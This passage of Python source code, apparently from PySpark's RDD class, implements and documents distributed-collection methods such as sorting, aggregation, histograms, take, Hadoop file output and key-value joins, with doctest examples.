union(self, other): """ Return the union of this RDD and another one. >>> rdd = sc.parallelize([1, 1, 2, 3]) >>> rdd.union(rdd).collect() [1, 1, 2, 3, 1, 1, 2, 3] """ if self._jrdd_deserializer == other._jrdd_deserializer: rdd = RDD(self._jrdd.union(other._jrdd), self.ctx, self._jrdd_deserializer) else: # These RDDs contain data in different serialized formats, so we # must normalize them to the default serializer. self_copy = self._reserialize() other_copy = other._reserialize() rdd = RDD(self_copy._jrdd.union(other_copy._jrdd), self.ctx, self.ctx.serializer) if (self.partitioner == other.partitioner and self.getNumPartitions() == rdd.getNumPartitions()): rdd.partitioner = self.partitioner return rdd def intersection(self, other): """ Return the intersection of this RDD and another one. The output will not contain any duplicate elements, even if the input RDDs did. .. note:: This method performs a shuffle internally. >>> rdd1 = sc.parallelize([1, 10, 2, 3, 4, 5]) >>> rdd2 = sc.parallelize([1, 6, 2, 3, 7, 8]) >>> rdd1.intersection(rdd2).collect() [1, 2, 3] """ return self.map(lambda v: (v, None)) \ .cogroup(other.map(lambda v: (v, None))) \ .filter(lambda k_vs: all(k_vs[1])) \ .keys() def _reserialize(self, serializer=None): serializer = serializer or self.ctx.serializer if self._jrdd_deserializer != serializer: self = self.map(lambda x: x, preservesPartitioning=True) self._jrdd_deserializer = serializer return self def __add__(self, other): """ Return the union of this RDD and another one. >>> rdd = sc.parallelize([1, 1, 2, 3]) >>> (rdd + rdd).collect() [1, 1, 2, 3, 1, 1, 2, 3] """ if not isinstance(other, RDD): raise TypeError return self.union(other) def repartitionAndSortWithinPartitions(self, numPartitions=None, partitionFunc=portable_hash, ascending=True, keyfunc=lambda x: x): """ Repartition the RDD according to the given partitioner and, within each resulting partition, sort records by their keys. >>> rdd = sc.parallelize([(0, 5), (3, 8), (2, 6), (0, 8), (3, 8), (1, 3)]) >>> rdd2 = rdd.repartitionAndSortWithinPartitions(2, lambda x: x % 2, True) >>> rdd2.glom().collect() [[(0, 5), (0, 8), (2, 6)], [(1, 3), (3, 8), (3, 8)]] """ if numPartitions is None: numPartitions = self._defaultReducePartitions() memory = _parse_memory(self.ctx._conf.get("spark.python.worker.memory", "512m")) serializer = self._jrdd_deserializer def sortPartition(iterator): sort = ExternalSorter(memory * 0.9, serializer).sorted return iter(sort(iterator, key=lambda k_v: keyfunc(k_v[0]), reverse=(not ascending))) return self.partitionBy(numPartitions, partitionFunc).mapPartitions(sortPartition, True) def sortByKey(self, ascending=True, numPartitions=None, keyfunc=lambda x: x): """ Sorts this RDD, which is assumed to consist of (key, value) pairs. >>> tmp = [('a', 1), ('b', 2), ('1', 3), ('d', 4), ('2', 5)] >>> sc.parallelize(tmp).sortByKey().first() ('1', 3) >>> sc.parallelize(tmp).sortByKey(True, 1).collect() [('1', 3), ('2', 5), ('a', 1), ('b', 2), ('d', 4)] >>> sc.parallelize(tmp).sortByKey(True, 2).collect() [('1', 3), ('2', 5), ('a', 1), ('b', 2), ('d', 4)] >>> tmp2 = [('Mary', 1), ('had', 2), ('a', 3), ('little', 4), ('lamb', 5)] >>> tmp2.extend([('whose', 6), ('fleece', 7), ('was', 8), ('white', 9)]) >>> sc.parallelize(tmp2).sortByKey(True, 3, keyfunc=lambda k: k.lower()).collect() [('a', 3), ('fleece', 7), ('had', 2), ('lamb', 5),...('white', 9), ('whose', 6)] """ if numPartitions is None: numPartitions = self._defaultReducePartitions() memory = self._memory_limit() serializer = self._jrdd_deserializer def sortPartition(iterator): sort = ExternalSorter(memory * 0.9, serializer).sorted return iter(sort(iterator, key=lambda kv: keyfunc(kv[0]), reverse=(not ascending))) if numPartitions == 1: if self.getNumPartitions() > 1: self = self.coalesce(1) return self.mapPartitions(sortPartition, True) # first compute the boundary of each part via sampling: we want to partition # the key-space into bins such that the bins have roughly the same # number of (key, value) pairs falling into them rddSize = self.count() if not rddSize: return self # empty RDD maxSampleSize = numPartitions * 20.0 # constant from Spark's RangePartitioner fraction = min(maxSampleSize / max(rddSize, 1), 1.0) samples = self.sample(False, fraction, 1).map(lambda kv: kv[0]).collect() samples = sorted(samples, key=keyfunc) # we have numPartitions many parts but one of the them has # an implicit boundary bounds = [samples[int(len(samples) * (i + 1) / numPartitions)] for i in range(0, numPartitions - 1)] def rangePartitioner(k): p = bisect.bisect_left(bounds, keyfunc(k)) if ascending: return p else: return numPartitions - 1 - p return self.partitionBy(numPartitions, rangePartitioner).mapPartitions(sortPartition, True) def sortBy(self, keyfunc, ascending=True, numPartitions=None): """ Sorts this RDD by the given keyfunc >>> tmp = [('a', 1), ('b', 2), ('1', 3), ('d', 4), ('2', 5)] >>> sc.parallelize(tmp).sortBy(lambda x: x[0]).collect() [('1', 3), ('2', 5), ('a', 1), ('b', 2), ('d', 4)] >>> sc.parallelize(tmp).sortBy(lambda x: x[1]).collect() [('a', 1), ('b', 2), ('1', 3), ('d', 4), ('2', 5)] """ return self.keyBy(keyfunc).sortByKey(ascending, numPartitions).values() def glom(self): """ Return an RDD created by coalescing all elements within each partition into a list. >>> rdd = sc.parallelize([1, 2, 3, 4], 2) >>> sorted(rdd.glom().collect()) [[1, 2], [3, 4]] """ def func(iterator): yield list(iterator) return self.mapPartitions(func) def cartesian(self, other): """ Return the Cartesian product of this RDD and another one, that is, the RDD of all pairs of elements C{(a, b)} where C{a} is in C{self} and C{b} is in C{other}. >>> rdd = sc.parallelize([1, 2]) >>> sorted(rdd.cartesian(rdd).collect()) [(1, 1), (1, 2), (2, 1), (2, 2)] """ # Due to batching, we can't use the Java cartesian method. deserializer = CartesianDeserializer(self._jrdd_deserializer, other._jrdd_deserializer) return RDD(self._jrdd.cartesian(other._jrdd), self.ctx, deserializer) def groupBy(self, f, numPartitions=None, partitionFunc=portable_hash): """ Return an RDD of grouped items. >>> rdd = sc.parallelize([1, 1, 2, 3, 5, 8]) >>> result = rdd.groupBy(lambda x: x % 2).collect() >>> sorted([(x, sorted(y)) for (x, y) in result]) [(0, [2, 8]), (1, [1, 1, 3, 5])] """ return self.map(lambda x: (f(x), x)).groupByKey(numPartitions, partitionFunc) @ignore_unicode_prefix def pipe(self, command, env=None, checkCode=False): """ Return an RDD created by piping elements to a forked external process. >>> sc.parallelize(['1', '2', '', '3']).pipe('cat').collect() [u'1', u'2', u'', u'3'] :param checkCode: whether or not to check the return value of the shell command. """ if env is None: env = dict() def func(iterator): pipe = Popen( shlex.split(command), env=env, stdin=PIPE, stdout=PIPE) def pipe_objs(out): for obj in iterator: s = unicode(obj).rstrip('\n') + '\n' out.write(s.encode('utf-8')) out.close() Thread(target=pipe_objs, args=[pipe.stdin]).start() def check_return_code(): pipe.wait() if checkCode and pipe.returncode: raise Exception("Pipe function `%s' exited " "with error code %d" % (command, pipe.returncode)) else: for i in range(0): yield i return (x.rstrip(b'\n').decode('utf-8') for x in chain(iter(pipe.stdout.readline, b''), check_return_code())) return self.mapPartitions(func) def foreach(self, f): """ Applies a function to all elements of this RDD. >>> def f(x): print(x) >>> sc.parallelize([1, 2, 3, 4, 5]).foreach(f) """ def processPartition(iterator): for x in iterator: f(x) return iter([]) self.mapPartitions(processPartition).count() # Force evaluation def foreachPartition(self, f): """ Applies a function to each partition of this RDD. >>> def f(iterator): ... for x in iterator: ... print(x) >>> sc.parallelize([1, 2, 3, 4, 5]).foreachPartition(f) """ def func(it): r = f(it) try: return iter(r) except TypeError: return iter([]) self.mapPartitions(func).count() # Force evaluation def collect(self): """ Return a list that contains all of the elements in this RDD. .. note:: This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. """ with SCCallSiteSync(self.context) as css: port = self.ctx._jvm.PythonRDD.collectAndServe(self._jrdd.rdd()) return list(_load_from_socket(port, self._jrdd_deserializer)) def reduce(self, f): """ Reduces the elements of this RDD using the specified commutative and associative binary operator. Currently reduces partitions locally. >>> from operator import add >>> sc.parallelize([1, 2, 3, 4, 5]).reduce(add) 15 >>> sc.parallelize((2 for _ in range(10))).map(lambda x: 1).cache().reduce(add) 10 >>> sc.parallelize([]).reduce(add) Traceback (most recent call last): ... ValueError: Can not reduce() empty RDD """ def func(iterator): iterator = iter(iterator) try: initial = next(iterator) except StopIteration: return yield reduce(f, iterator, initial) vals = self.mapPartitions(func).collect() if vals: return reduce(f, vals) raise ValueError("Can not reduce() empty RDD") def treeReduce(self, f, depth=2): """ Reduces the elements of this RDD in a multi-level tree pattern. :param depth: suggested depth of the tree (default: 2) >>> add = lambda x, y: x + y >>> rdd = sc.parallelize([-5, -4, -3, -2, -1, 1, 2, 3, 4], 10) >>> rdd.treeReduce(add) -5 >>> rdd.treeReduce(add, 1) -5 >>> rdd.treeReduce(add, 2) -5 >>> rdd.treeReduce(add, 5) -5 >>> rdd.treeReduce(add, 10) -5 """ if depth < 1: raise ValueError("Depth cannot be smaller than 1 but got %d." % depth) zeroValue = None, True # Use the second entry to indicate whether this is a dummy value. def op(x, y): if x[1]: return y elif y[1]: return x else: return f(x[0], y[0]), False reduced = self.map(lambda x: (x, False)).treeAggregate(zeroValue, op, op, depth) if reduced[1]: raise ValueError("Cannot reduce empty RDD.") return reduced[0] def fold(self, zeroValue, op): """ Aggregate the elements of each partition, and then the results for all the partitions, using a given associative function and a neutral "zero value." The function C{op(t1, t2)} is allowed to modify C{t1} and return it as its result value to avoid object allocation; however, it should not modify C{t2}. This behaves somewhat differently from fold operations implemented for non-distributed collections in functional languages like Scala. This fold operation may be applied to partitions individually, and then fold those results into the final result, rather than apply the fold to each element sequentially in some defined ordering. For functions that are not commutative, the result may differ from that of a fold applied to a non-distributed collection. >>> from operator import add >>> sc.parallelize([1, 2, 3, 4, 5]).fold(0, add) 15 """ def func(iterator): acc = zeroValue for obj in iterator: acc = op(acc, obj) yield acc # collecting result of mapPartitions here ensures that the copy of # zeroValue provided to each partition is unique from the one provided # to the final reduce call vals = self.mapPartitions(func).collect() return reduce(op, vals, zeroValue) def aggregate(self, zeroValue, seqOp, combOp): """ Aggregate the elements of each partition, and then the results for all the partitions, using a given combine functions and a neutral "zero value." The functions C{op(t1, t2)} is allowed to modify C{t1} and return it as its result value to avoid object allocation; however, it should not modify C{t2}. The first function (seqOp) can return a different result type, U, than the type of this RDD. Thus, we need one operation for merging a T into an U and one operation for merging two U >>> seqOp = (lambda x, y: (x[0] + y, x[1] + 1)) >>> combOp = (lambda x, y: (x[0] + y[0], x[1] + y[1])) >>> sc.parallelize([1, 2, 3, 4]).aggregate((0, 0), seqOp, combOp) (10, 4) >>> sc.parallelize([]).aggregate((0, 0), seqOp, combOp) (0, 0) """ def func(iterator): acc = zeroValue for obj in iterator: acc = seqOp(acc, obj) yield acc # collecting result of mapPartitions here ensures that the copy of # zeroValue provided to each partition is unique from the one provided # to the final reduce call vals = self.mapPartitions(func).collect() return reduce(combOp, vals, zeroValue) def treeAggregate(self, zeroValue, seqOp, combOp, depth=2): """ Aggregates the elements of this RDD in a multi-level tree pattern. :param depth: suggested depth of the tree (default: 2) >>> add = lambda x, y: x + y >>> rdd = sc.parallelize([-5, -4, -3, -2, -1, 1, 2, 3, 4], 10) >>> rdd.treeAggregate(0, add, add) -5 >>> rdd.treeAggregate(0, add, add, 1) -5 >>> rdd.treeAggregate(0, add, add, 2) -5 >>> rdd.treeAggregate(0, add, add, 5) -5 >>> rdd.treeAggregate(0, add, add, 10) -5 """ if depth < 1: raise ValueError("Depth cannot be smaller than 1 but got %d." % depth) if self.getNumPartitions() == 0: return zeroValue def aggregatePartition(iterator): acc = zeroValue for obj in iterator: acc = seqOp(acc, obj) yield acc partiallyAggregated = self.mapPartitions(aggregatePartition) numPartitions = partiallyAggregated.getNumPartitions() scale = max(int(ceil(pow(numPartitions, 1.0 / depth))), 2) # If creating an extra level doesn't help reduce the wall-clock time, we stop the tree # aggregation. while numPartitions > scale + numPartitions / scale: numPartitions /= scale curNumPartitions = int(numPartitions) def mapPartition(i, iterator): for obj in iterator: yield (i % curNumPartitions, obj) partiallyAggregated = partiallyAggregated \ .mapPartitionsWithIndex(mapPartition) \ .reduceByKey(combOp, curNumPartitions) \ .values() return partiallyAggregated.reduce(combOp) def max(self, key=None): """ Find the maximum item in this RDD. :param key: A function used to generate key for comparing >>> rdd = sc.parallelize([1.0, 5.0, 43.0, 10.0]) >>> rdd.max() 43.0 >>> rdd.max(key=str) 5.0 """ if key is None: return self.reduce(max) return self.reduce(lambda a, b: max(a, b, key=key)) def min(self, key=None): """ Find the minimum item in this RDD. :param key: A function used to generate key for comparing >>> rdd = sc.parallelize([2.0, 5.0, 43.0, 10.0]) >>> rdd.min() 2.0 >>> rdd.min(key=str) 10.0 """ if key is None: return self.reduce(min) return self.reduce(lambda a, b: min(a, b, key=key)) def sum(self): """ Add up the elements in this RDD. >>> sc.parallelize([1.0, 2.0, 3.0]).sum() 6.0 """ return self.mapPartitions(lambda x: [sum(x)]).fold(0, operator.add) def count(self): """ Return the number of elements in this RDD. >>> sc.parallelize([2, 3, 4]).count() 3 """ return self.mapPartitions(lambda i: [sum(1 for _ in i)]).sum() def stats(self): """ Return a L{StatCounter} object that captures the mean, variance and count of the RDD's elements in one operation. """ def redFunc(left_counter, right_counter): return left_counter.mergeStats(right_counter) return self.mapPartitions(lambda i: [StatCounter(i)]).reduce(redFunc) def histogram(self, buckets): """ Compute a histogram using the provided buckets. The buckets are all open to the right except for the last which is closed. e.g. [1,10,20,50] means the buckets are [1,10) [10,20) [20,50], which means 1<=x<10, 10<=x<20, 20<=x<=50. And on the input of 1 and 50 we would have a histogram of 1,0,1. If your histogram is evenly spaced (e.g. [0, 10, 20, 30]), this can be switched from an O(log n) inseration to O(1) per element (where n is the number of buckets). Buckets must be sorted, not contain any duplicates, and have at least two elements. If `buckets` is a number, it will generate buckets which are evenly spaced between the minimum and maximum of the RDD. For example, if the min value is 0 and the max is 100, given `buckets` as 2, the resulting buckets will be [0,50) [50,100]. `buckets` must be at least 1. An exception is raised if the RDD contains infinity. If the elements in the RDD do not vary (max == min), a single bucket will be used. The return value is a tuple of buckets and histogram. >>> rdd = sc.parallelize(range(51)) >>> rdd.histogram(2) ([0, 25, 50], [25, 26]) >>> rdd.histogram([0, 5, 25, 50]) ([0, 5, 25, 50], [5, 20, 26]) >>> rdd.histogram([0, 15, 30, 45, 60]) # evenly spaced buckets ([0, 15, 30, 45, 60], [15, 15, 15, 6]) >>> rdd = sc.parallelize(["ab", "ac", "b", "bd", "ef"]) >>> rdd.histogram(("a", "b", "c")) (('a', 'b', 'c'), [2, 2]) """ if isinstance(buckets, int): if buckets < 1: raise ValueError("number of buckets must be >= 1") # filter out non-comparable elements def comparable(x): if x is None: return False if type(x) is float and isnan(x): return False return True filtered = self.filter(comparable) # faster than stats() def minmax(a, b): return min(a[0], b[0]), max(a[1], b[1]) try: minv, maxv = filtered.map(lambda x: (x, x)).reduce(minmax) except TypeError as e: if " empty " in str(e): raise ValueError("can not generate buckets from empty RDD") raise if minv == maxv or buckets == 1: return [minv, maxv], [filtered.count()] try: inc = (maxv - minv) / buckets except TypeError: raise TypeError("Can not generate buckets with non-number in RDD") if isinf(inc): raise ValueError("Can not generate buckets with infinite value") # keep them as integer if possible inc = int(inc) if inc * buckets != maxv - minv: inc = (maxv - minv) * 1.0 / buckets buckets = [i * inc + minv for i in range(buckets)] buckets.append(maxv) # fix accumulated error even = True elif isinstance(buckets, (list, tuple)): if len(buckets) < 2: raise ValueError("buckets should have more than one value") if any(i is None or isinstance(i, float) and isnan(i) for i in buckets): raise ValueError("can not have None or NaN in buckets") if sorted(buckets) != list(buckets): raise ValueError("buckets should be sorted") if len(set(buckets)) != len(buckets): raise ValueError("buckets should not contain duplicated values") minv = buckets[0] maxv = buckets[-1] even = False inc = None try: steps = [buckets[i + 1] - buckets[i] for i in range(len(buckets) - 1)] except TypeError: pass # objects in buckets do not support '-' else: if max(steps) - min(steps) < 1e-10: # handle precision errors even = True inc = (maxv - minv) / (len(buckets) - 1) else: raise TypeError("buckets should be a list or tuple or number(int or long)") def histogram(iterator): counters = [0] * len(buckets) for i in iterator: if i is None or (type(i) is float and isnan(i)) or i > maxv or i < minv: continue t = (int((i - minv) / inc) if even else bisect.bisect_right(buckets, i) - 1) counters[t] += 1 # add last two together last = counters.pop() counters[-1] += last return [counters] def mergeCounters(a, b): return [i + j for i, j in zip(a, b)] return buckets, self.mapPartitions(histogram).reduce(mergeCounters) def mean(self): """ Compute the mean of this RDD's elements. >>> sc.parallelize([1, 2, 3]).mean() 2.0 """ return self.stats().mean() def variance(self): """ Compute the variance of this RDD's elements. >>> sc.parallelize([1, 2, 3]).variance() 0.666... """ return self.stats().variance() def stdev(self): """ Compute the standard deviation of this RDD's elements. >>> sc.parallelize([1, 2, 3]).stdev() 0.816... """ return self.stats().stdev() def sampleStdev(self): """ Compute the sample standard deviation of this RDD's elements (which corrects for bias in estimating the standard deviation by dividing by N-1 instead of N). >>> sc.parallelize([1, 2, 3]).sampleStdev() 1.0 """ return self.stats().sampleStdev() def sampleVariance(self): """ Compute the sample variance of this RDD's elements (which corrects for bias in estimating the variance by dividing by N-1 instead of N). >>> sc.parallelize([1, 2, 3]).sampleVariance() 1.0 """ return self.stats().sampleVariance() def countByValue(self): """ Return the count of each unique value in this RDD as a dictionary of (value, count) pairs. >>> sorted(sc.parallelize([1, 2, 1, 2, 2], 2).countByValue().items()) [(1, 2), (2, 3)] """ def countPartition(iterator): counts = defaultdict(int) for obj in iterator: counts[obj] += 1 yield counts def mergeMaps(m1, m2): for k, v in m2.items(): m1[k] += v return m1 return self.mapPartitions(countPartition).reduce(mergeMaps) def top(self, num, key=None): """ Get the top N elements from an RDD. .. note:: This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. .. note:: It returns the list sorted in descending order. >>> sc.parallelize([10, 4, 2, 12, 3]).top(1) [12] >>> sc.parallelize([2, 3, 4, 5, 6], 2).top(2) [6, 5] >>> sc.parallelize([10, 4, 2, 12, 3]).top(3, key=str) [4, 3, 2] """ def topIterator(iterator): yield heapq.nlargest(num, iterator, key=key) def merge(a, b): return heapq.nlargest(num, a + b, key=key) return self.mapPartitions(topIterator).reduce(merge) def takeOrdered(self, num, key=None): """ Get the N elements from an RDD ordered in ascending order or as specified by the optional key function. .. note:: this method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. >>> sc.parallelize([10, 1, 2, 9, 3, 4, 5, 6, 7]).takeOrdered(6) [1, 2, 3, 4, 5, 6] >>> sc.parallelize([10, 1, 2, 9, 3, 4, 5, 6, 7], 2).takeOrdered(6, key=lambda x: -x) [10, 9, 7, 6, 5, 4] """ def merge(a, b): return heapq.nsmallest(num, a + b, key) return self.mapPartitions(lambda it: [heapq.nsmallest(num, it, key)]).reduce(merge) def take(self, num): """ Take the first num elements of the RDD. It works by first scanning one partition, and use the results from that partition to estimate the number of additional partitions needed to satisfy the limit. Translated from the Scala implementation in RDD#take(). .. note:: this method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. >>> sc.parallelize([2, 3, 4, 5, 6]).cache().take(2) [2, 3] >>> sc.parallelize([2, 3, 4, 5, 6]).take(10) [2, 3, 4, 5, 6] >>> sc.parallelize(range(100), 100).filter(lambda x: x > 90).take(3) [91, 92, 93] """ items = [] totalParts = self.getNumPartitions() partsScanned = 0 while len(items) < num and partsScanned < totalParts: # The number of partitions to try in this iteration. # It is ok for this number to be greater than totalParts because # we actually cap it at totalParts in runJob. numPartsToTry = 1 if partsScanned > 0: # If we didn't find any rows after the previous iteration, # quadruple and retry. Otherwise, interpolate the number of # partitions we need to try, but overestimate it by 50%. # We also cap the estimation in the end. if len(items) == 0: numPartsToTry = partsScanned * 4 else: # the first paramter of max is >=1 whenever partsScanned >= 2 numPartsToTry = int(1.5 * num * partsScanned / len(items)) - partsScanned numPartsToTry = min(max(numPartsToTry, 1), partsScanned * 4) left = num - len(items) def takeUpToNumLeft(iterator): iterator = iter(iterator) taken = 0 while taken < left: yield next(iterator) taken += 1 p = range(partsScanned, min(partsScanned + numPartsToTry, totalParts)) res = self.context.runJob(self, takeUpToNumLeft, p) items += res partsScanned += numPartsToTry return items[:num] def first(self): """ Return the first element in this RDD. >>> sc.parallelize([2, 3, 4]).first() 2 >>> sc.parallelize([]).first() Traceback (most recent call last): ... ValueError: RDD is empty """ rs = self.take(1) if rs: return rs[0] raise ValueError("RDD is empty") def isEmpty(self): """ Returns true if and only if the RDD contains no elements at all. .. note:: an RDD may be empty even when it has at least 1 partition. >>> sc.parallelize([]).isEmpty() True >>> sc.parallelize([1]).isEmpty() False """ return self.getNumPartitions() == 0 or len(self.take(1)) == 0 def saveAsNewAPIHadoopDataset(self, conf, keyConverter=None, valueConverter=None): """ Output a Python RDD of key-value pairs (of form C{RDD[(K, V)]}) to any Hadoop file system, using the new Hadoop OutputFormat API (mapreduce package). Keys/values are converted for output using either user specified converters or, by default, L{org.apache.spark.api.python.JavaToWritableConverter}. :param conf: Hadoop job configuration, passed in as a dict :param keyConverter: (None by default) :param valueConverter: (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsHadoopDataset(pickledRDD._jrdd, True, jconf, keyConverter, valueConverter, True) def saveAsNewAPIHadoopFile(self, path, outputFormatClass, keyClass=None, valueClass=None, keyConverter=None, valueConverter=None, conf=None): """ Output a Python RDD of key-value pairs (of form C{RDD[(K, V)]}) to any Hadoop file system, using the new Hadoop OutputFormat API (mapreduce package). Key and value types will be inferred if not specified. Keys and values are converted for output using either user specified converters or L{org.apache.spark.api.python.JavaToWritableConverter}. The C{conf} is applied on top of the base Hadoop conf associated with the SparkContext of this RDD to create a merged Hadoop MapReduce job configuration for saving the data. :param path: path to Hadoop file :param outputFormatClass: fully qualified classname of Hadoop OutputFormat (e.g. "org.apache.hadoop.mapreduce.lib.output.SequenceFileOutputFormat") :param keyClass: fully qualified classname of key Writable class (e.g. "org.apache.hadoop.io.IntWritable", None by default) :param valueClass: fully qualified classname of value Writable class (e.g. "org.apache.hadoop.io.Text", None by default) :param keyConverter: (None by default) :param valueConverter: (None by default) :param conf: Hadoop job configuration, passed in as a dict (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsNewAPIHadoopFile(pickledRDD._jrdd, True, path, outputFormatClass, keyClass, valueClass, keyConverter, valueConverter, jconf) def saveAsHadoopDataset(self, conf, keyConverter=None, valueConverter=None): """ Output a Python RDD of key-value pairs (of form C{RDD[(K, V)]}) to any Hadoop file system, using the old Hadoop OutputFormat API (mapred package). Keys/values are converted for output using either user specified converters or, by default, L{org.apache.spark.api.python.JavaToWritableConverter}. :param conf: Hadoop job configuration, passed in as a dict :param keyConverter: (None by default) :param valueConverter: (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsHadoopDataset(pickledRDD._jrdd, True, jconf, keyConverter, valueConverter, False) def saveAsHadoopFile(self, path, outputFormatClass, keyClass=None, valueClass=None, keyConverter=None, valueConverter=None, conf=None, compressionCodecClass=None): """ Output a Python RDD of key-value pairs (of form C{RDD[(K, V)]}) to any Hadoop file system, using the old Hadoop OutputFormat API (mapred package). Key and value types will be inferred if not specified. Keys and values are converted for output using either user specified converters or L{org.apache.spark.api.python.JavaToWritableConverter}. The C{conf} is applied on top of the base Hadoop conf associated with the SparkContext of this RDD to create a merged Hadoop MapReduce job configuration for saving the data. :param path: path to Hadoop file :param outputFormatClass: fully qualified classname of Hadoop OutputFormat (e.g. "org.apache.hadoop.mapred.SequenceFileOutputFormat") :param keyClass: fully qualified classname of key Writable class (e.g. "org.apache.hadoop.io.IntWritable", None by default) :param valueClass: fully qualified classname of value Writable class (e.g. "org.apache.hadoop.io.Text", None by default) :param keyConverter: (None by default) :param valueConverter: (None by default) :param conf: (None by default) :param compressionCodecClass: (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsHadoopFile(pickledRDD._jrdd, True, path, outputFormatClass, keyClass, valueClass, keyConverter, valueConverter, jconf, compressionCodecClass) def saveAsSequenceFile(self, path, compressionCodecClass=None): """ Output a Python RDD of key-value pairs (of form C{RDD[(K, V)]}) to any Hadoop file system, using the L{org.apache.hadoop.io.Writable} types that we convert from the RDD's key and value types. The mechanism is as follows: 1. Pyrolite is used to convert pickled Python RDD into RDD of Java objects. 2. Keys and values of this Java RDD are converted to Writables and written out. :param path: path to sequence file :param compressionCodecClass: (None by default) """ pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsSequenceFile(pickledRDD._jrdd, True, path, compressionCodecClass) def saveAsPickleFile(self, path, batchSize=10): """ Save this RDD as a SequenceFile of serialized objects. The serializer used is L{pyspark.serializers.PickleSerializer}, default batch size is 10. >>> tmpFile = NamedTemporaryFile(delete=True) >>> tmpFile.close() >>> sc.parallelize([1, 2, 'spark', 'rdd']).saveAsPickleFile(tmpFile.name, 3) >>> sorted(sc.pickleFile(tmpFile.name, 5).map(str).collect()) ['1', '2', 'rdd', 'spark'] """ if batchSize == 0: ser = AutoBatchedSerializer(PickleSerializer()) else: ser = BatchedSerializer(PickleSerializer(), batchSize) self._reserialize(ser)._jrdd.saveAsObjectFile(path) @ignore_unicode_prefix def saveAsTextFile(self, path, compressionCodecClass=None): """ Save this RDD as a text file, using string representations of elements. @param path: path to text file @param compressionCodecClass: (None by default) string i.e. "org.apache.hadoop.io.compress.GzipCodec" >>> tempFile = NamedTemporaryFile(delete=True) >>> tempFile.close() >>> sc.parallelize(range(10)).saveAsTextFile(tempFile.name) >>> from fileinput import input >>> from glob import glob >>> ''.join(sorted(input(glob(tempFile.name + "/part-0000*")))) '0\\n1\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9\\n' Empty lines are tolerated when saving to text files. >>> tempFile2 = NamedTemporaryFile(delete=True) >>> tempFile2.close() >>> sc.parallelize(['', 'foo', '', 'bar', '']).saveAsTextFile(tempFile2.name) >>> ''.join(sorted(input(glob(tempFile2.name + "/part-0000*")))) '\\n\\n\\nbar\\nfoo\\n' Using compressionCodecClass >>> tempFile3 = NamedTemporaryFile(delete=True) >>> tempFile3.close() >>> codec = "org.apache.hadoop.io.compress.GzipCodec" >>> sc.parallelize(['foo', 'bar']).saveAsTextFile(tempFile3.name, codec) >>> from fileinput import input, hook_compressed >>> result = sorted(input(glob(tempFile3.name + "/part*.gz"), openhook=hook_compressed)) >>> b''.join(result).decode('utf-8') u'bar\\nfoo\\n' """ def func(split, iterator): for x in iterator: if not isinstance(x, (unicode, bytes)): x = unicode(x) if isinstance(x, unicode): x = x.encode("utf-8") yield x keyed = self.mapPartitionsWithIndex(func) keyed._bypass_serializer = True if compressionCodecClass: compressionCodec = self.ctx._jvm.java.lang.Class.forName(compressionCodecClass) keyed._jrdd.map(self.ctx._jvm.BytesToString()).saveAsTextFile(path, compressionCodec) else: keyed._jrdd.map(self.ctx._jvm.BytesToString()).saveAsTextFile(path) # Pair functions def collectAsMap(self): """ Return the key-value pairs in this RDD to the master as a dictionary. .. note:: this method should only be used if the resulting data is expected to be small, as all the data is loaded into the driver's memory. >>> m = sc.parallelize([(1, 2), (3, 4)]).collectAsMap() >>> m[1] 2 >>> m[3] 4 """ return dict(self.collect()) def keys(self): """ Return an RDD with the keys of each tuple. >>> m = sc.parallelize([(1, 2), (3, 4)]).keys() >>> m.collect() [1, 3] """ return self.map(lambda x: x[0]) def values(self): """ Return an RDD with the values of each tuple. >>> m = sc.parallelize([(1, 2), (3, 4)]).values() >>> m.collect() [2, 4] """ return self.map(lambda x: x[1]) def reduceByKey(self, func, numPartitions=None, partitionFunc=portable_hash): """ Merge the values for each key using an associative and commutative reduce function. This will also perform the merging locally on each mapper before sending results to a reducer, similarly to a "combiner" in MapReduce. Output will be partitioned with C{numPartitions} partitions, or the default parallelism level if C{numPartitions} is not specified. Default partitioner is hash-partition. >>> from operator import add >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.reduceByKey(add).collect()) [('a', 2), ('b', 1)] """ return self.combineByKey(lambda x: x, func, func, numPartitions, partitionFunc) def reduceByKeyLocally(self, func): """ Merge the values for each key using an associative and commutative reduce function, but return the results immediately to the master as a dictionary. This will also perform the merging locally on each mapper before sending results to a reducer, similarly to a "combiner" in MapReduce. >>> from operator import add >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.reduceByKeyLocally(add).items()) [('a', 2), ('b', 1)] """ def reducePartition(iterator): m = {} for k, v in iterator: m[k] = func(m[k], v) if k in m else v yield m def mergeMaps(m1, m2): for k, v in m2.items(): m1[k] = func(m1[k], v) if k in m1 else v return m1 return self.mapPartitions(reducePartition).reduce(mergeMaps) def countByKey(self): """ Count the number of elements for each key, and return the result to the master as a dictionary. >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.countByKey().items()) [('a', 2), ('b', 1)] """ return self.map(lambda x: x[0]).countByValue() def join(self, other, numPartitions=None): """ Return an RDD containing all pairs of elements with matching keys in C{self} and C{other}. Each pair of elements will be returned as a (k, (v1, v2)) tuple, where (k, v1) is in C{self} and (k, v2) is in C{other}. Performs a hash join across the cluster. >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2), ("a", 3)]) >>> sorted(x.join(y).collect()) [('a', (1, 2)), ('a', (1, 3))] """ return python_join(self, other, numPartitions) def leftOuterJoin(self, other, numPartitions=None): """ Perform a left outer join of C{self} and C{other}. For each element (k, v) in C{self}, the resulting RDD will either contain all pairs (k, (v, w)) for w in C{other}, or the pair (k, (v, None)) if no elements in C{other} have key k. Hash-partitions the resulting RDD into the given number of partitions. >>> x = sc.parallelize([("a", 